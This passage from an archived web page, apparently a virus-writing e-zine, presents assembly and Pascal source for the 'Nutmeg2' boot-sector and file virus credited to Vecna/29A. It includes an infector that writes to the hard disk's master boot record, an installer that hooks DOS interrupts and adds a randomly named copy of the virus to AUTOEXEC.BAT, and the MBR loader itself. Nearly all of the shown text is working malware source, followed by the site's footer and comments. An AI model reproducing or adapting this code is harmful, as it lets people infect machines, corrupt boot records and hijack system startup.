    CMP WORD PTR [DI], AX 
    JE @OVERBUFFER 
    MOV AX, 0301H 
    MOV CX, 0002H 
    INT 13H 
    JC @OVERBUFFER 
    MOV CX, OFFSET LOADER 
    SUB CX, OFFSET MLOADER 
    CLD 
    REP MOVSB 
    MOV AX, 0301H 
    MOV CX, 0001H 
    MOV DX, 0080H 
    INT 13H 
    JC @OVERBUFFER 
    MOV AX, 0302H 
    MOV CX, 0003H 
    MOV BX, OFFSET LOADER 
    MOV DX, 0080H 
    INT 13H 
    JC @OVERBUFFER 
    MOV BX, OFFSET VIRBUFFER 
    MOV AX, SEG VIRBUFFER 
    MOV ES, AX 
    MOV AX, 300H+((VIRSIZE+511)/512) 
    MOV CX, 0005H 
    INT 13H 
    JMP @OVERBUFFER 
  @BUFFER: 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
    DB 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00 
  @OVERBUFFER: 
    POP DS 
  END; 
END; 

BEGIN 
  INITALL; 
  INFECTMBR; 
  SPAWNHOST; 
  IF NOT(RESIDENT) THEN BEGIN 
    MEML[$0:$350]:=$20FF20FF; 
    SETINTVEC($28,@VIRUSINT28); 
    KEEP(0); 
  END; 
END. 

;(Cut here)------------------------------------------------------------------- 

;[Nutmeg2] virus by Vecna/29A 
;Installer 
; 
;These routines add to the AUTOEXEC.BAT a random named virus sample, and 
;write this virus sample to the root dir. To do this, it hook interrupt 0x1C, 
;wait for DOS load and hook interrupt 0x21. This hook wait for a file execute 
;and then read the virus code and write it to the disk as a file, and then 
;modify AUTOEXEC.BAT to execute this file. All interrupts hook are restored 
;after use, and only 1 kilobyte is subtracted from memory. The virus sample 
;is executed with a "!" as single parameter. This is done to warn the virus 
;to disinfect AUTOEXEC.BAT. 

.MODEL TPASCAL 
.386P 
.CODE 
ORG 0 

       PUBLIC LOADER 

LOADER: 
       MOV DI, OFFSET MUTATE-OFFSET LOADER 
       MOV CX, 8 
NCHAR: 
       IN AL, 40H 
       AND AL, 01111B 
       ADD AL, 'A' 
       DB 2EH 
       STOSB 
       LOOP NCHAR 
       PUSH 0 
       POP DS 
       MOV AX, OFFSET INT1C-OFFSET LOADER 
       MOV SI, 1CH*4 
       MOV DI, OFFSET OLD1C-OFFSET LOADER 
       CLD 
       CLI 
       XCHG AX, WORD PTR DS:[SI] 
       DB 2EH 
       STOSW 
       MOV AX, CS 
       XCHG AX, WORD PTR DS:[SI+2] 
       DB 2EH 
       STOSW 
       STI 
       XOR EAX, EAX 
       MOV DWORD PTR DS:[21H*4], EAX 
       MOV ES, AX 
       MOV BX, 7C00H 
       MOV AX, 201H 
       MOV CX, 2 
       MOV DX, 80H 
       INT 13H 
       DB 0EAH 
       DW 7C00H 
       DW 0 

INT1C: 
       PUSH DS 
       PUSHAD 
       PUSH 0 
       POP DS 
       MOV CX, WORD PTR DS:[21H*4+2] 
       CMP CX, 800H 
       JA NOT_YET 
       JCXZ NOT_YET 
       MOV ESI, 21H*4 
       MOV EDI, 0FFH*4 
       MOV EAX, DWORD PTR DS:[ESI] 
       MOV DWORD PTR DS:[EDI], EAX 
       MOV AX, CS 
       ROL EAX, 16 
       MOV AX, OFFSET INT21-OFFSET LOADER 
       MOV DWORD PTR DS:[ESI], EAX 
       MOV EAX, DWORD PTR CS:[OLD1C-OFFSET LOADER] 
       MOV DWORD PTR DS:[1CH*4], EAX 
NOT_YET: 
       POPAD 
       POP DS 
       DB 0EAH 
OLD1C  DD 0 

INT21: 
       PUSH DS 
       PUSH ES 
       PUSHAD 
ALL_PUSHED: 
       PUSH 0 
       POP DS 
       CMP AX, 4B00H 
       JNE NO_4B00 
EXECUTING: 
       MOV EAX, DWORD PTR DS:[0FFH*4] 
       MOV DWORD PTR DS:[21H*4], EAX 
       MOV AX, CS 
       SUB AX, 1000H 
       MOV ES, AX 
       MOV AX, 200H+(4096/512) 
       XOR BX, BX 
       MOV CX, 5 
       MOV DX, 80H 
       INT 13H 
       JC ERROR 
       MOV AH, 3CH 
       MOV CX, 10B 
       PUSH CS 
       POP DS 
       MOV DX, OFFSET FNAME-OFFSET LOADER 
       INT 21H 
       JC ERROR 
       XCHG AX, BX 
       PUSH ES 
       POP DS 
       XOR DX, DX 
       MOV AH, 40H 
       MOV CX, 4096 
       INT 21H 
       JC ERROR 
       PUSH CS 
       POP DS 
       MOV AH, 3EH 
       INT 21H 
       MOV AX, 3D02H 
       MOV DX, OFFSET FNAME2-OFFSET LOADER 
       INT 21H 
       JC ERROR 
       XCHG AX, BX 
       MOV AX, 4202H 
       XOR CX, CX 
       CWD 
       INT 21H 
       MOV AH, 40H 
       MOV CX, FSIZE-1 
       MOV DX, OFFSET FNAME-OFFSET LOADER 
       INT 21H 
       JC ERROR 
       MOV AH, 40H 
       MOV CX, FSIZE2 
       MOV DX, OFFSET PARAMS-OFFSET LOADER 
       INT 21H 
       JC ERROR 
ERROR: 
       MOV AH, 3EH 
       INT 21H 
NO_4B00: 
       POPAD 
       POP ES 
       POP DS 
       INT 0FFH 
       RETF 2 

FNAME  DB "C:\" 
MUTATE DB 8 DUP (0) 
       DB ".EXE", 0 
FSIZE  EQU $-OFFSET FNAME 

PARAMS DB " !", 13, 10 
FSIZE2 EQU $-OFFSET PARAMS 

FNAME2 DB 'AUTOEXEC.BAT', 0 

END    LOADER 

;(Cut here)------------------------------------------------------------------- 

;[Nutmeg2] virus by Vecna/29A 
;MBR loader 
; 
;This piece of code reside in the MBR of a infected system. It just create a 
;stack, steal one kilobyte from 0x0:0x413, and read and jump the installer 
;in this hole. 

.MODEL TPASCAL 
.CODE 
ORG 0 

       PUBLIC MLOADER 

MLOADER: 
       JMP SKIPMSG 
       DB "[NUTMEG2] by Vecna/29A" 
SKIPMSG: 
       CLI 
       XOR BX, BX 
       MOV SS, BX 
       MOV SP, 7C00H 
       STI 
       PUSH BX 
       POP DS 
       DEC WORD PTR DS:[413H] 
       INT 12H 
       MOV CL, 6 
       SHL AX, CL 
       PUSH AX 
       POP ES 
       MOV AX, 202H 
       MOV CX, 3 
       MOV DX, 80H 
       INT 13H 
       JC $ 
       PUSH ES 
       PUSH BX 
       RETF 

       DB 'This virus was written in Brasil, in 1998' 

END MLOADER

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

guest's profile picture
@guest
16 Dec 2024
cool
Adelaide's profile picture
@Adelaide
16 Dec 2024
Bellissimo l' albero di natale
guest's profile picture
@guest
12 Dec 2024
Subject: IT Specialist Looking for Full-Time Remote Role with Your Company Dear [Sir/Madam], I hope this message finds you well. My na ...
guest's profile picture
@guest
11 Dec 2024
잔인해
guest's profile picture
@guest
10 Dec 2024
오우 쉣
guest's profile picture
@guest
10 Dec 2024
ㄷㄷㄷㄷㄷ /\__/\ ( .__. ) [ ] (___)
guest's profile picture
@guest
9 Dec 2024
Is there a way to play on the Dreamcast an iso file? How to do it?
lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
8 Dec 2024
Just found this image online
lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
8 Dec 2024
The Dogon are a population living near Mandiagara, 300 km south of Timbuktu, in Mali. Two anthropologists, Marcel Griaule and Germaine Diet ...
eZine's profile picture
eZine lover (@eZine)
8 Dec 2024
Yes, it's an excellent article. Unfortunately, not many people write such pieces anymore. Instead, it seems like everyone is focused on ...
a Francesco Arca production 2016 - 2024
Terms of Service - Privacy Policy
neperos on mastodon
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT